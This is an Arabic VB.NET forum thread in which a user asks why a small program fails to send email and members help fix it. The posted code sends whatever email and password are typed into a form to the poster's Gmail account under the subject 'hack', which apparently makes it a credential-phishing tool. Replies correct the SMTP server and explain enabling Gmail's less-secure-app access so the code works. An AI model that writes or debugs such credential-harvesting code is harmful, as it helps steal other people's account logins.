منتدى فيجوال بيسك لكل العرب | منتدى المبرمجين العرب

نسخة كاملة : ارسال رسالة
أنت حالياً تتصفح نسخة خفيفة من المنتدى . مشاهدة نسخة كاملة مع جميع الأشكال الجمالية .
السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة



كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll
(18-11-14, 10:17 AM)صفاء احمد كتب : [ -> ]السلام عليكم عندي برنامج لارسال الرسائل وحسب علمي الكود صحيح لكن لم ينفذ وهذا الكود
I
 ارجو من الاخوة المساعدة في حل هذه الاشكلة




كود :
Imports System.Net.Mail
Public Class Form1

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       Dim ss As New MailMessage
       Try
           ss.From = New MailAddress("safa2027@gmail.com")
           ss.To.Add("safas2027@gmail.com")
           ss.Subject = "hack"
           ss.Body = "email :" + TextBox1.Text + "password :" + TextBox2.Text
           Dim smtp As New SmtpClient("smtp.mail.com")
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New System.Net.NetworkCredential("safas2027@gmail.com", pass.Text)
           smtp.Send(ss)
           MsgBox("تم الارسال ")
       Catch ex As Exception
       End Try
   End Sub
End Class
وتضهر الرسالة التالية
A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

هذا تبع ارسال رساله الى الاميل ؟؟؟؟؟

السلام عليكم ورحمة الله

أولا عندك خطأ "smtp.mail.com" والصحيح "smtp.gmail.com"

ثانياً نظراً لنظام الحماية الصارم بمنع الارسال من التطبيقات فإن كل الحلول لهذه المشكلة تتفق على الخطوات التالية:
1: قم بارسال الرسالة مع التأكد من كلمة المرور.
2: إذهب للرابط (إشعار تسجيل الدخول المحظور) وقم بتسجل الدخول إذا طلب
3: ستجد معلومات عن النشاط الذي حدث،
وستجد السؤال (هل تعرف هذا النشاط؟) وله جوابان على شكل زران:
أ:نعم إنه نشاطي!
ب:لا-تأمين الحساب

أجب بالضغط على (نعم إنه نشاطي!) بعد التأكد من المعلومات أن من قام بهذه العملية هو أنت فعلاً

4: سيظهر لك سؤال آخر (أشرت إلى أن هذا النشاط يخصك.) وله جوابان على شكل زران:
أ: موافق.
ب: تغيير الرد.

أجب بالضغط على (موافق) إذا كنت ما زلت متأكد بما تقوم به.

5: أذهب للرابط (التطبيقات الأقل أمانًا)
ستجد إعداد واحد فقط وهو (الوصول للتطبيقات الأقل أمانًا) وله خياران:
أ: تعطيل
ب: تمكين

أختر (تمكين) ثم اضغط الزر (تم)

قم يطلب منك إدخال رموز الحماية أكثر من مرة وفي كل مرة ألوانها مختلفة

الأن قم بارسال الرسالة من البرنامج مرة أخرى، وإن شاء الله تمام

حسب ما فهمت أن العملية تعملها مرة واحدة فقط



الغريب أن العملية طبقتها وقدرت أرسل رسالة واحدة فقط لكن في المرة الثانية لم تنجح،
بالرغم من من مراجعة الاعدادات ووجدتها (تمكين)،
لا أدري ما السبب !


اخي الوليد
توجد كلمة مرور للتطبيقات بعد تفعيل التحقق بخطوتين ..

السلام عليكم ورحمة الله

الله يسعدك أخوي سعود وييسر لك أمورك